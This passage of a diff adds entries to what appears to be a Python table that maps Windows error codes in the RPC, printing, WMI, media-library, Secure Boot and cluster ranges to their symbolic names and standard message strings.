+        0x000006e2: ("RPC_S_NAME_SERVICE_UNAVAILABLE", "The name service is unavailable."),
+        0x000006e3: ("RPC_S_INVALID_NAF_ID", "The network address family is invalid."),
+        0x000006e4: ("RPC_S_CANNOT_SUPPORT", "The requested operation is not supported."),
+        0x000006e5: ("RPC_S_NO_CONTEXT_AVAILABLE", "No security context is available to allow impersonation."),
+        0x000006e6: ("RPC_S_INTERNAL_ERROR", "An internal error occurred in a remote procedure call (RPC)."),
+        0x000006e7: ("RPC_S_ZERO_DIVIDE", "The RPC server attempted an integer division by zero."),
+        0x000006e8: ("RPC_S_ADDRESS_ERROR", "An addressing error occurred in the RPC server."),
+        0x000006e9: ("RPC_S_FP_DIV_ZERO", "A floating-point operation at the RPC server caused a division by zero."),
+        0x000006ea: ("RPC_S_FP_UNDERFLOW", "A floating-point underflow occurred at the RPC server."),
+        0x000006eb: ("RPC_S_FP_OVERFLOW", "A floating-point overflow occurred at the RPC server."),
+        0x000006ec: ("RPC_X_NO_MORE_ENTRIES", "The list of RPC servers available for the binding of auto handles has been exhausted."),
+        0x000006ed: ("RPC_X_SS_CHAR_TRANS_OPEN_FAIL", "Unable to open the character translation table file."),
+        0x000006ee: ("RPC_X_SS_CHAR_TRANS_SHORT_FILE", "The file containing the character translation table has fewer than 512 bytes."),
+        0x000006ef: ("RPC_X_SS_IN_NULL_CONTEXT", "A null context handle was passed from the client to the host during a remote procedure call."),
+        0x000006f1: ("RPC_X_SS_CONTEXT_DAMAGED", "The context handle changed during a remote procedure call."),
+        0x000006f2: ("RPC_X_SS_HANDLES_MISMATCH", "The binding handles passed to a remote procedure call do not match."),
+        0x000006f3: ("RPC_X_SS_CANNOT_GET_CALL_HANDLE", "The stub is unable to get the remote procedure call handle."),
+        0x000006f4: ("RPC_X_NULL_REF_POINTER", "A null reference pointer was passed to the stub."),
+        0x000006f5: ("RPC_X_ENUM_VALUE_OUT_OF_RANGE", "The enumeration value is out of range."),
+        0x000006f6: ("RPC_X_BYTE_COUNT_TOO_SMALL", "The byte count is too small."),
+        0x000006f7: ("RPC_X_BAD_STUB_DATA", "The stub received bad data."),
+        0x000006f8: ("ERROR_INVALID_USER_BUFFER", "The supplied user buffer is not valid for the requested operation."),
+        0x000006f9: ("ERROR_UNRECOGNIZED_MEDIA", "The disk media is not recognized. It may not be formatted."),
+        0x000006fa: ("ERROR_NO_TRUST_LSA_SECRET", "The workstation does not have a trust secret."),
+        0x000006fb: ("ERROR_NO_TRUST_SAM_ACCOUNT", "The security database on the server does not have a computer account for this workstation trust relationship."),
+        0x000006fc: ("ERROR_TRUSTED_DOMAIN_FAILURE", "The trust relationship between the primary domain and the trusted domain failed."),
+        0x000006fd: ("ERROR_TRUSTED_RELATIONSHIP_FAILURE", "The trust relationship between this workstation and the primary domain failed."),
+        0x000006fe: ("ERROR_TRUST_FAILURE", "The network logon failed."),
+        0x000006ff: ("RPC_S_CALL_IN_PROGRESS", "A remote procedure call is already in progress for this thread."),
+        0x00000700: ("ERROR_NETLOGON_NOT_STARTED", "An attempt was made to logon, but the network logon service was not started."),
+        0x00000701: ("ERROR_ACCOUNT_EXPIRED", "The user's account has expired."),
+        0x00000702: ("ERROR_REDIRECTOR_HAS_OPEN_HANDLES", "The redirector is in use and cannot be unloaded."),
+        0x00000703: ("ERROR_PRINTER_DRIVER_ALREADY_INSTALLED", "The specified printer driver is already installed."),
+        0x00000704: ("ERROR_UNKNOWN_PORT", "The specified port is unknown."),
+        0x00000705: ("ERROR_UNKNOWN_PRINTER_DRIVER", "The printer driver is unknown."),
+        0x00000706: ("ERROR_UNKNOWN_PRINTPROCESSOR", "The print processor is unknown."),
+        0x00000707: ("ERROR_INVALID_SEPARATOR_FILE", "The specified separator file is invalid."),
+        0x00000708: ("ERROR_INVALID_PRIORITY", "The specified priority is invalid."),
+        0x00000709: ("ERROR_INVALID_PRINTER_NAME", "The printer name is invalid."),
+        0x0000070a: ("ERROR_PRINTER_ALREADY_EXISTS", "The printer already exists."),
+        0x0000070b: ("ERROR_INVALID_PRINTER_COMMAND", "The printer command is invalid."),
+        0x0000070c: ("ERROR_INVALID_DATATYPE", "The specified datatype is invalid."),
+        0x0000070d: ("ERROR_INVALID_ENVIRONMENT", "The environment specified is invalid."),
+        0x0000070e: ("RPC_S_NO_MORE_BINDINGS", "There are no more bindings."),
+        0x0000070f: ("ERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT", "The account used is an interdomain trust account. Use your global user account or local user account to access this server."),
+        0x00000710: ("ERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT", "The account used is a computer account. Use your global user account or local user account to access this server."),
+        0x00000711: ("ERROR_NOLOGON_SERVER_TRUST_ACCOUNT", "The account used is a server trust account. Use your global user account or local user account to access this server."),
+        0x00000712: ("ERROR_DOMAIN_TRUST_INCONSISTENT", "The name or security ID (SID) of the domain specified is inconsistent with the trust information for that domain."),
+        0x00000713: ("ERROR_SERVER_HAS_OPEN_HANDLES", "The server is in use and cannot be unloaded."),
+        0x00000714: ("ERROR_RESOURCE_DATA_NOT_FOUND", "The specified image file did not contain a resource section."),
+        0x00000715: ("ERROR_RESOURCE_TYPE_NOT_FOUND", "The specified resource type cannot be found in the image file."),
+        0x00000716: ("ERROR_RESOURCE_NAME_NOT_FOUND", "The specified resource name cannot be found in the image file."),
+        0x00000717: ("ERROR_RESOURCE_LANG_NOT_FOUND", "The specified resource language ID cannot be found in the image file."),
+        0x00000718: ("ERROR_NOT_ENOUGH_QUOTA", "Not enough quota is available to process this command."),
+        0x00000719: ("RPC_S_NO_INTERFACES", "No interfaces have been registered."),
+        0x0000071a: ("RPC_S_CALL_CANCELLED", "The remote procedure call was cancelled."),
+        0x0000071b: ("RPC_S_BINDING_INCOMPLETE", "The binding handle does not contain all required information."),
+        0x0000071c: ("RPC_S_COMM_FAILURE", "A communications failure occurred during a remote procedure call."),
+        0x0000071d: ("RPC_S_UNSUPPORTED_AUTHN_LEVEL", "The requested authentication level is not supported."),
+        0x0000071e: ("RPC_S_NO_PRINC_NAME", "No principal name registered."),
+        0x0000071f: ("RPC_S_NOT_RPC_ERROR", "The error specified is not a valid Windows RPC error code."),
+        0x00000720: ("RPC_S_UUID_LOCAL_ONLY", "A UUID that is valid only on this computer has been allocated."),
+        0x00000721: ("RPC_S_SEC_PKG_ERROR", "A security package specific error occurred."),
+        0x00000722: ("RPC_S_NOT_CANCELLED", "Thread is not canceled."),
+        0x00000723: ("RPC_X_INVALID_ES_ACTION", "Invalid operation on the encoding/decoding handle."),
+        0x00000724: ("RPC_X_WRONG_ES_VERSION", "Incompatible version of the serializing package."),
+        0x00000725: ("RPC_X_WRONG_STUB_VERSION", "Incompatible version of the RPC stub."),
+        0x00000726: ("RPC_X_INVALID_PIPE_OBJECT", "The RPC pipe object is invalid or corrupted."),
+        0x00000727: ("RPC_X_WRONG_PIPE_ORDER", "An invalid operation was attempted on an RPC pipe object."),
+        0x00000728: ("RPC_X_WRONG_PIPE_VERSION", "Unsupported RPC pipe version."),
+        0x00000729: ("RPC_S_COOKIE_AUTH_FAILED", "HTTP proxy server rejected the connection because the cookie authentication failed."),
+        0x0000076a: ("RPC_S_GROUP_MEMBER_NOT_FOUND", "The group member was not found."),
+        0x0000076b: ("EPT_S_CANT_CREATE", "The endpoint mapper database entry could not be created."),
+        0x0000076c: ("RPC_S_INVALID_OBJECT", "The object universal unique identifier (UUID) is the nil UUID."),
+        0x0000076d: ("ERROR_INVALID_TIME", "The specified time is invalid."),
+        0x0000076e: ("ERROR_INVALID_FORM_NAME", "The specified form name is invalid."),
+        0x0000076f: ("ERROR_INVALID_FORM_SIZE", "The specified form size is invalid."),
+        0x00000770: ("ERROR_ALREADY_WAITING", "The specified printer handle is already being waited on"),
+        0x00000771: ("ERROR_PRINTER_DELETED", "The specified printer has been deleted."),
+        0x00000772: ("ERROR_INVALID_PRINTER_STATE", "The state of the printer is invalid."),
+        0x00000773: ("ERROR_PASSWORD_MUST_CHANGE", "The user's password must be changed before signing in."),
+        0x00000774: ("ERROR_DOMAIN_CONTROLLER_NOT_FOUND", "Could not find the domain controller for this domain."),
+        0x00000775: ("ERROR_ACCOUNT_LOCKED_OUT", "The referenced account is currently locked out and may not be logged on to."),
+        0x00000776: ("OR_INVALID_OXID", "The object exporter specified was not found."),
+        0x00000777: ("OR_INVALID_OID", "The object specified was not found."),
+        0x00000778: ("OR_INVALID_SET", "The object resolver set specified was not found."),
+        0x00000779: ("RPC_S_SEND_INCOMPLETE", "Some data remains to be sent in the request buffer."),
+        0x0000077a: ("RPC_S_INVALID_ASYNC_HANDLE", "Invalid asynchronous remote procedure call handle."),
+        0x0000077b: ("RPC_S_INVALID_ASYNC_CALL", "Invalid asynchronous RPC call handle for this operation."),
+        0x0000077c: ("RPC_X_PIPE_CLOSED", "The RPC pipe object has already been closed."),
+        0x0000077d: ("RPC_X_PIPE_DISCIPLINE_ERROR", "The RPC call completed before all pipes were processed."),
+        0x0000077e: ("RPC_X_PIPE_EMPTY", "No more data is available from the RPC pipe."),
+        0x0000077f: ("ERROR_NO_SITENAME", "No site name is available for this machine."),
+        0x00000780: ("ERROR_CANT_ACCESS_FILE", "The file cannot be accessed by the system."),
+        0x00000781: ("ERROR_CANT_RESOLVE_FILENAME", "The name of the file cannot be resolved by the system."),
+        0x00000782: ("RPC_S_ENTRY_TYPE_MISMATCH", "The entry is not of the expected type."),
+        0x00000783: ("RPC_S_NOT_ALL_OBJS_EXPORTED", "Not all object UUIDs could be exported to the specified entry."),
+        0x00000784: ("RPC_S_INTERFACE_NOT_EXPORTED", "Interface could not be exported to the specified entry."),
+        0x00000785: ("RPC_S_PROFILE_NOT_ADDED", "The specified profile entry could not be added."),
+        0x00000786: ("RPC_S_PRF_ELT_NOT_ADDED", "The specified profile element could not be added."),
+        0x00000787: ("RPC_S_PRF_ELT_NOT_REMOVED", "The specified profile element could not be removed."),
+        0x00000788: ("RPC_S_GRP_ELT_NOT_ADDED", "The group element could not be added."),
+        0x00000789: ("RPC_S_GRP_ELT_NOT_REMOVED", "The group element could not be removed."),
+        0x0000078a: ("ERROR_KM_DRIVER_BLOCKED", "The printer driver is not compatible with a policy enabled on your computer that blocks NT 4.0 drivers."),
+        0x0000078b: ("ERROR_CONTEXT_EXPIRED", "The context has expired and can no longer be used."),
+        0x0000078c: ("ERROR_PER_USER_TRUST_QUOTA_EXCEEDED", "The current user's delegated trust creation quota has been exceeded."),
+        0x0000078d: ("ERROR_ALL_USER_TRUST_QUOTA_EXCEEDED", "The total delegated trust creation quota has been exceeded."),
+        0x0000078e: ("ERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED", "The current user's delegated trust deletion quota has been exceeded."),
+        0x0000078f: ("ERROR_AUTHENTICATION_FIREWALL_FAILED", "The computer you are signing into is protected by an authentication firewall. The specified account is not allowed to authenticate to the computer."),
+        0x00000790: ("ERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED", "Remote connections to the Print Spooler are blocked by a policy set on your machine."),
+        0x00000791: ("ERROR_NTLM_BLOCKED", "Authentication failed because NTLM authentication has been disabled."),
+        0x00000792: ("ERROR_PASSWORD_CHANGE_REQUIRED", "Logon Failure: EAS policy requires that the user change their password before this operation can be performed."),
+        0x000007d0: ("ERROR_INVALID_PIXEL_FORMAT", "The pixel format is invalid."),
+        0x000007d1: ("ERROR_BAD_DRIVER", "The specified driver is invalid."),
+        0x000007d2: ("ERROR_INVALID_WINDOW_STYLE", "The window style or class attribute is invalid for this operation."),
+        0x000007d3: ("ERROR_METAFILE_NOT_SUPPORTED", "The requested metafile operation is not supported."),
+        0x000007d4: ("ERROR_TRANSFORM_NOT_SUPPORTED", "The requested transformation operation is not supported."),
+        0x000007d5: ("ERROR_CLIPPING_NOT_SUPPORTED", "The requested clipping operation is not supported."),
+        0x000007da: ("ERROR_INVALID_CMM", "The specified color management module is invalid."),
+        0x000007db: ("ERROR_INVALID_PROFILE", "The specified color profile is invalid."),
+        0x000007dc: ("ERROR_TAG_NOT_FOUND", "The specified tag was not found."),
+        0x000007dd: ("ERROR_TAG_NOT_PRESENT", "A required tag is not present."),
+        0x000007de: ("ERROR_DUPLICATE_TAG", "The specified tag is already present."),
+        0x000007df: ("ERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE", "The specified color profile is not associated with the specified device."),
+        0x000007e0: ("ERROR_PROFILE_NOT_FOUND", "The specified color profile was not found."),
+        0x000007e1: ("ERROR_INVALID_COLORSPACE", "The specified color space is invalid."),
+        0x000007e2: ("ERROR_ICM_NOT_ENABLED", "Image Color Management is not enabled."),
+        0x000007e3: ("ERROR_DELETING_ICM_XFORM", "There was an error while deleting the color transform."),
+        0x000007e4: ("ERROR_INVALID_TRANSFORM", "The specified color transform is invalid."),
+        0x000007e5: ("ERROR_COLORSPACE_MISMATCH", "The specified transform does not match the bitmap's color space."),
+        0x000007e6: ("ERROR_INVALID_COLORINDEX", "The specified named color index is not present in the profile."),
+        0x000007e7: ("ERROR_PROFILE_DOES_NOT_MATCH_DEVICE", "The specified profile is intended for a device of a different type than the specified device."),
+        0x0000083c: ("ERROR_CONNECTED_OTHER_PASSWORD", "The network connection was made successfully, but the user had to be prompted for a password other than the one originally specified."),
+        0x0000083d: ("ERROR_CONNECTED_OTHER_PASSWORD_DEFAULT", "The network connection was made successfully using default credentials."),
+        0x0000089a: ("ERROR_BAD_USERNAME", "The specified username is invalid."),
+        0x000008ca: ("ERROR_NOT_CONNECTED", "This network connection does not exist."),
+        0x00000961: ("ERROR_OPEN_FILES", "This network connection has files open or requests pending."),
+        0x00000962: ("ERROR_ACTIVE_CONNECTIONS", "Active connections still exist."),
+        0x00000964: ("ERROR_DEVICE_IN_USE", "The device is in use by an active process and cannot be disconnected."),
+        0x00000bb8: ("ERROR_UNKNOWN_PRINT_MONITOR", "The specified print monitor is unknown."),
+        0x00000bb9: ("ERROR_PRINTER_DRIVER_IN_USE", "The specified printer driver is currently in use."),
+        0x00000bba: ("ERROR_SPOOL_FILE_NOT_FOUND", "The spool file was not found."),
+        0x00000bbb: ("ERROR_SPL_NO_STARTDOC", "A StartDocPrinter call was not issued."),
+        0x00000bbc: ("ERROR_SPL_NO_ADDJOB", "An AddJob call was not issued."),
+        0x00000bbd: ("ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED", "The specified print processor has already been installed."),
+        0x00000bbe: ("ERROR_PRINT_MONITOR_ALREADY_INSTALLED", "The specified print monitor has already been installed."),
+        0x00000bbf: ("ERROR_INVALID_PRINT_MONITOR", "The specified print monitor does not have the required functions."),
+        0x00000bc0: ("ERROR_PRINT_MONITOR_IN_USE", "The specified print monitor is currently in use."),
+        0x00000bc1: ("ERROR_PRINTER_HAS_JOBS_QUEUED", "The requested operation is not allowed when there are jobs queued to the printer."),
+        0x00000bc2: ("ERROR_SUCCESS_REBOOT_REQUIRED", "The requested operation is successful. Changes will not be effective until the system is rebooted."),
+        0x00000bc3: ("ERROR_SUCCESS_RESTART_REQUIRED", "The requested operation is successful. Changes will not be effective until the service is restarted."),
+        0x00000bc4: ("ERROR_PRINTER_NOT_FOUND", "No printers were found."),
+        0x00000bc5: ("ERROR_PRINTER_DRIVER_WARNED", "The printer driver is known to be unreliable."),
+        0x00000bc6: ("ERROR_PRINTER_DRIVER_BLOCKED", "The printer driver is known to harm the system."),
+        0x00000bc7: ("ERROR_PRINTER_DRIVER_PACKAGE_IN_USE", "The specified printer driver package is currently in use."),
+        0x00000bc8: ("ERROR_CORE_DRIVER_PACKAGE_NOT_FOUND", "Unable to find a core driver package that is required by the printer driver package."),
+        0x00000bc9: ("ERROR_FAIL_REBOOT_REQUIRED", "The requested operation failed. A system reboot is required to roll back changes made."),
+        0x00000bca: ("ERROR_FAIL_REBOOT_INITIATED", "The requested operation failed. A system reboot has been initiated to roll back changes made."),
+        0x00000bcb: ("ERROR_PRINTER_DRIVER_DOWNLOAD_NEEDED", "The specified printer driver was not found on the system and needs to be downloaded."),
+        0x00000bcc: ("ERROR_PRINT_JOB_RESTART_REQUIRED", "The requested print job has failed to print. A print system update requires the job to be resubmitted."),
+        0x00000bcd: ("ERROR_INVALID_PRINTER_DRIVER_MANIFEST", "The printer driver does not contain a valid manifest, or contains too many manifests."),
+        0x00000bce: ("ERROR_PRINTER_NOT_SHAREABLE", "The specified printer cannot be shared."),
+        0x00000bea: ("ERROR_REQUEST_PAUSED", "The operation was paused."),
+        0x00000f6e: ("ERROR_IO_REISSUE_AS_CACHED", "Reissue the given operation as a cached IO operation"),
+        0x00000fa0: ("ERROR_WINS_INTERNAL", "WINS encountered an error while processing the command."),
+        0x00000fa1: ("ERROR_CAN_NOT_DEL_LOCAL_WINS", "The local WINS cannot be deleted."),
+        0x00000fa2: ("ERROR_STATIC_INIT", "The importation from the file failed."),
+        0x00000fa3: ("ERROR_INC_BACKUP", "The backup failed. Was a full backup done before?"),
+        0x00000fa4: ("ERROR_FULL_BACKUP", "The backup failed. Check the directory to which you are backing the database."),
+        0x00000fa5: ("ERROR_REC_NON_EXISTENT", "The name does not exist in the WINS database."),
+        0x00000fa6: ("ERROR_RPL_NOT_ALLOWED", "Replication with a nonconfigured partner is not allowed."),
+        0x00000fd2: ("PEERDIST_ERROR_CONTENTINFO_VERSION_UNSUPPORTED", "The version of the supplied content information is not supported."),
+        0x00000fd3: ("PEERDIST_ERROR_CANNOT_PARSE_CONTENTINFO", "The supplied content information is malformed."),
+        0x00000fd4: ("PEERDIST_ERROR_MISSING_DATA", "The requested data cannot be found in local or peer caches."),
+        0x00000fd5: ("PEERDIST_ERROR_NO_MORE", "No more data is available or required."),
+        0x00000fd6: ("PEERDIST_ERROR_NOT_INITIALIZED", "The supplied object has not been initialized."),
+        0x00000fd7: ("PEERDIST_ERROR_ALREADY_INITIALIZED", "The supplied object has already been initialized."),
+        0x00000fd8: ("PEERDIST_ERROR_SHUTDOWN_IN_PROGRESS", "A shutdown operation is already in progress."),
+        0x00000fd9: ("PEERDIST_ERROR_INVALIDATED", "The supplied object has already been invalidated."),
+        0x00000fda: ("PEERDIST_ERROR_ALREADY_EXISTS", "An element already exists and was not replaced."),
+        0x00000fdb: ("PEERDIST_ERROR_OPERATION_NOTFOUND", "Can not cancel the requested operation as it has already been completed."),
+        0x00000fdc: ("PEERDIST_ERROR_ALREADY_COMPLETED", "Can not perform the reqested operation because it has already been carried out."),
+        0x00000fdd: ("PEERDIST_ERROR_OUT_OF_BOUNDS", "An operation accessed data beyond the bounds of valid data."),
+        0x00000fde: ("PEERDIST_ERROR_VERSION_UNSUPPORTED", "The requested version is not supported."),
+        0x00000fdf: ("PEERDIST_ERROR_INVALID_CONFIGURATION", "A configuration value is invalid."),
+        0x00000fe0: ("PEERDIST_ERROR_NOT_LICENSED", "The SKU is not licensed."),
+        0x00000fe1: ("PEERDIST_ERROR_SERVICE_UNAVAILABLE", "PeerDist Service is still initializing and will be available shortly."),
+        0x00000fe2: ("PEERDIST_ERROR_TRUST_FAILURE", "Communication with one or more computers will be temporarily blocked due to recent errors."),
+        0x00001004: ("ERROR_DHCP_ADDRESS_CONFLICT", "The DHCP client has obtained an IP address that is already in use on the network. The local interface will be disabled until the DHCP client can obtain a new address."),
+        0x00001068: ("ERROR_WMI_GUID_NOT_FOUND", "The GUID passed was not recognized as valid by a WMI data provider."),
+        0x00001069: ("ERROR_WMI_INSTANCE_NOT_FOUND", "The instance name passed was not recognized as valid by a WMI data provider."),
+        0x0000106a: ("ERROR_WMI_ITEMID_NOT_FOUND", "The data item ID passed was not recognized as valid by a WMI data provider."),
+        0x0000106b: ("ERROR_WMI_TRY_AGAIN", "The WMI request could not be completed and should be retried."),
+        0x0000106c: ("ERROR_WMI_DP_NOT_FOUND", "The WMI data provider could not be located."),
+        0x0000106d: ("ERROR_WMI_UNRESOLVED_INSTANCE_REF", "The WMI data provider references an instance set that has not been registered."),
+        0x0000106e: ("ERROR_WMI_ALREADY_ENABLED", "The WMI data block or event notification has already been enabled."),
+        0x0000106f: ("ERROR_WMI_GUID_DISCONNECTED", "The WMI data block is no longer available."),
+        0x00001070: ("ERROR_WMI_SERVER_UNAVAILABLE", "The WMI data service is not available."),
+        0x00001071: ("ERROR_WMI_DP_FAILED", "The WMI data provider failed to carry out the request."),
+        0x00001072: ("ERROR_WMI_INVALID_MOF", "The WMI MOF information is not valid."),
+        0x00001073: ("ERROR_WMI_INVALID_REGINFO", "The WMI registration information is not valid."),
+        0x00001074: ("ERROR_WMI_ALREADY_DISABLED", "The WMI data block or event notification has already been disabled."),
+        0x00001075: ("ERROR_WMI_READ_ONLY", "The WMI data item or data block is read only."),
+        0x00001076: ("ERROR_WMI_SET_FAILURE", "The WMI data item or data block could not be changed."),
+        0x0000109a: ("ERROR_NOT_APPCONTAINER", "This operation is only valid in the context of an app container."),
+        0x0000109b: ("ERROR_APPCONTAINER_REQUIRED", "This application can only run in the context of an app container."),
+        0x0000109c: ("ERROR_NOT_SUPPORTED_IN_APPCONTAINER", "This functionality is not supported in the context of an app container."),
+        0x0000109d: ("ERROR_INVALID_PACKAGE_SID_LENGTH", "The length of the SID supplied is not a valid length for app container SIDs."),
+        0x000010cc: ("ERROR_INVALID_MEDIA", "The media identifier does not represent a valid medium."),
+        0x000010cd: ("ERROR_INVALID_LIBRARY", "The library identifier does not represent a valid library."),
+        0x000010ce: ("ERROR_INVALID_MEDIA_POOL", "The media pool identifier does not represent a valid media pool."),
+        0x000010cf: ("ERROR_DRIVE_MEDIA_MISMATCH", "The drive and medium are not compatible or exist in different libraries."),
+        0x000010d0: ("ERROR_MEDIA_OFFLINE", "The medium currently exists in an offline library and must be online to perform this operation."),
+        0x000010d1: ("ERROR_LIBRARY_OFFLINE", "The operation cannot be performed on an offline library."),
+        0x000010d2: ("ERROR_EMPTY", "The library, drive, or media pool is empty."),
+        0x000010d3: ("ERROR_NOT_EMPTY", "The library, drive, or media pool must be empty to perform this operation."),
+        0x000010d4: ("ERROR_MEDIA_UNAVAILABLE", "No media is currently available in this media pool or library."),
+        0x000010d5: ("ERROR_RESOURCE_DISABLED", "A resource required for this operation is disabled."),
+        0x000010d6: ("ERROR_INVALID_CLEANER", "The media identifier does not represent a valid cleaner."),
+        0x000010d7: ("ERROR_UNABLE_TO_CLEAN", "The drive cannot be cleaned or does not support cleaning."),
+        0x000010d8: ("ERROR_OBJECT_NOT_FOUND", "The object identifier does not represent a valid object."),
+        0x000010d9: ("ERROR_DATABASE_FAILURE", "Unable to read from or write to the database."),
+        0x000010da: ("ERROR_DATABASE_FULL", "The database is full."),
+        0x000010db: ("ERROR_MEDIA_INCOMPATIBLE", "The medium is not compatible with the device or media pool."),
+        0x000010dc: ("ERROR_RESOURCE_NOT_PRESENT", "The resource required for this operation does not exist."),
+        0x000010dd: ("ERROR_INVALID_OPERATION", "The operation identifier is not valid."),
+        0x000010de: ("ERROR_MEDIA_NOT_AVAILABLE", "The media is not mounted or ready for use."),
+        0x000010df: ("ERROR_DEVICE_NOT_AVAILABLE", "The device is not ready for use."),
+        0x000010e0: ("ERROR_REQUEST_REFUSED", "The operator or administrator has refused the request."),
+        0x000010e1: ("ERROR_INVALID_DRIVE_OBJECT", "The drive identifier does not represent a valid drive."),
+        0x000010e2: ("ERROR_LIBRARY_FULL", "Library is full. No slot is available for use."),
+        0x000010e3: ("ERROR_MEDIUM_NOT_ACCESSIBLE", "The transport cannot access the medium."),
+        0x000010e4: ("ERROR_UNABLE_TO_LOAD_MEDIUM", "Unable to load the medium into the drive."),
+        0x000010e5: ("ERROR_UNABLE_TO_INVENTORY_DRIVE", "Unable to retrieve the drive status."),
+        0x000010e6: ("ERROR_UNABLE_TO_INVENTORY_SLOT", "Unable to retrieve the slot status."),
+        0x000010e7: ("ERROR_UNABLE_TO_INVENTORY_TRANSPORT", "Unable to retrieve status about the transport."),
+        0x000010e8: ("ERROR_TRANSPORT_FULL", "Cannot use the transport because it is already in use."),
+        0x000010e9: ("ERROR_CONTROLLING_IEPORT", "Unable to open or close the inject/eject port."),
+        0x000010ea: ("ERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA", "Unable to eject the medium because it is in a drive."),
+        0x000010eb: ("ERROR_CLEANER_SLOT_SET", "A cleaner slot is already reserved."),
+        0x000010ec: ("ERROR_CLEANER_SLOT_NOT_SET", "A cleaner slot is not reserved."),
+        0x000010ed: ("ERROR_CLEANER_CARTRIDGE_SPENT", "The cleaner cartridge has performed the maximum number of drive cleanings."),
+        0x000010ee: ("ERROR_UNEXPECTED_OMID", "Unexpected on-medium identifier."),
+        0x000010ef: ("ERROR_CANT_DELETE_LAST_ITEM", "The last remaining item in this group or resource cannot be deleted."),
+        0x000010f0: ("ERROR_MESSAGE_EXCEEDS_MAX_SIZE", "The message provided exceeds the maximum size allowed for this parameter."),
+        0x000010f1: ("ERROR_VOLUME_CONTAINS_SYS_FILES", "The volume contains system or paging files."),
+        0x000010f2: ("ERROR_INDIGENOUS_TYPE", "The media type cannot be removed from this library since at least one drive in the library reports it can support this media type."),
+        0x000010f3: ("ERROR_NO_SUPPORTING_DRIVES", "This offline media cannot be mounted on this system since no enabled drives are present which can be used."),
+        0x000010f4: ("ERROR_CLEANER_CARTRIDGE_INSTALLED", "A cleaner cartridge is present in the tape library."),
+        0x000010f5: ("ERROR_IEPORT_FULL", "Cannot use the inject/eject port because it is not empty."),
+        0x000010fe: ("ERROR_FILE_OFFLINE", "This file is currently not available for use on this computer."),
+        0x000010ff: ("ERROR_REMOTE_STORAGE_NOT_ACTIVE", "The remote storage service is not operational at this time."),
+        0x00001100: ("ERROR_REMOTE_STORAGE_MEDIA_ERROR", "The remote storage service encountered a media error."),
+        0x00001126: ("ERROR_NOT_A_REPARSE_POINT", "The file or directory is not a reparse point."),
+        0x00001127: ("ERROR_REPARSE_ATTRIBUTE_CONFLICT", "The reparse point attribute cannot be set because it conflicts with an existing attribute."),
+        0x00001128: ("ERROR_INVALID_REPARSE_DATA", "The data present in the reparse point buffer is invalid."),
+        0x00001129: ("ERROR_REPARSE_TAG_INVALID", "The tag present in the reparse point buffer is invalid."),
+        0x0000112a: ("ERROR_REPARSE_TAG_MISMATCH", "There is a mismatch between the tag specified in the request and the tag present in the reparse point."),
+        0x00001130: ("ERROR_APP_DATA_NOT_FOUND", "Fast Cache data not found."),
+        0x00001131: ("ERROR_APP_DATA_EXPIRED", "Fast Cache data expired."),
+        0x00001132: ("ERROR_APP_DATA_CORRUPT", "Fast Cache data corrupt."),
+        0x00001133: ("ERROR_APP_DATA_LIMIT_EXCEEDED", "Fast Cache data has exceeded its max size and cannot be updated."),
+        0x00001134: ("ERROR_APP_DATA_REBOOT_REQUIRED", "Fast Cache has been ReArmed and requires a reboot until it can be updated."),
+        0x00001144: ("ERROR_SECUREBOOT_ROLLBACK_DETECTED", "Secure Boot detected that rollback of protected data has been attempted."),
+        0x00001145: ("ERROR_SECUREBOOT_POLICY_VIOLATION", "The value is protected by Secure Boot policy and cannot be modified or deleted."),
+        0x00001146: ("ERROR_SECUREBOOT_INVALID_POLICY", "The Secure Boot policy is invalid."),
+        0x00001147: ("ERROR_SECUREBOOT_POLICY_PUBLISHER_NOT_FOUND", "A new Secure Boot policy did not contain the current publisher on its update list."),
+        0x00001148: ("ERROR_SECUREBOOT_POLICY_NOT_SIGNED", "The Secure Boot policy is either not signed or is signed by a non-trusted signer."),
+        0x00001149: ("ERROR_SECUREBOOT_NOT_ENABLED", "Secure Boot is not enabled on this machine."),
+        0x0000114a: ("ERROR_SECUREBOOT_FILE_REPLACED", "Secure Boot requires that certain files and drivers are not replaced by other files or drivers."),
+        0x00001158: ("ERROR_OFFLOAD_READ_FLT_NOT_SUPPORTED", "The copy offload read operation is not supported by a filter."),
+        0x00001159: ("ERROR_OFFLOAD_WRITE_FLT_NOT_SUPPORTED", "The copy offload write operation is not supported by a filter."),
+        0x0000115a: ("ERROR_OFFLOAD_READ_FILE_NOT_SUPPORTED", "The copy offload read operation is not supported for the file."),
+        0x0000115b: ("ERROR_OFFLOAD_WRITE_FILE_NOT_SUPPORTED", "The copy offload write operation is not supported for the file."),
+        0x00001194: ("ERROR_VOLUME_NOT_SIS_ENABLED", "Single Instance Storage is not available on this volume."),
+        0x00001389: ("ERROR_DEPENDENT_RESOURCE_EXISTS", "The operation cannot be completed because other resources are dependent on this resource."),
+        0x0000138a: ("ERROR_DEPENDENCY_NOT_FOUND", "The cluster resource dependency cannot be found."),
+        0x0000138b: ("ERROR_DEPENDENCY_ALREADY_EXISTS", "The cluster resource cannot be made dependent on the specified resource because it is already dependent."),
+        0x0000138c: ("ERROR_RESOURCE_NOT_ONLINE", "The cluster resource is not online."),
+        0x0000138d: ("ERROR_HOST_NODE_NOT_AVAILABLE", "A cluster node is not available for this operation."),
+        0x0000138e: ("ERROR_RESOURCE_NOT_AVAILABLE", "The cluster resource is not available."),
+        0x0000138f: ("ERROR_RESOURCE_NOT_FOUND", "The cluster resource could not be found."),
+        0x00001390: ("ERROR_SHUTDOWN_CLUSTER", "The cluster is being shut down."),
+        0x00001391: ("ERROR_CANT_EVICT_ACTIVE_NODE", "A cluster node cannot be evicted from the cluster unless the node is down or it is the last node."),
+        0x00001392: ("ERROR_OBJECT_ALREADY_EXISTS", "The object already exists."),
+        0x00001393: ("ERROR_OBJECT_IN_LIST", "The object is already in the list."),
+        0x00001394: ("ERROR_GROUP_NOT_AVAILABLE", "The cluster group is not available for any new requests."),
+        0x00001395: ("ERROR_GROUP_NOT_FOUND", "The cluster group could not be found."),
+        0x00001396: ("ERROR_GROUP_NOT_ONLINE", "The operation could not be completed because the cluster group is not online."),
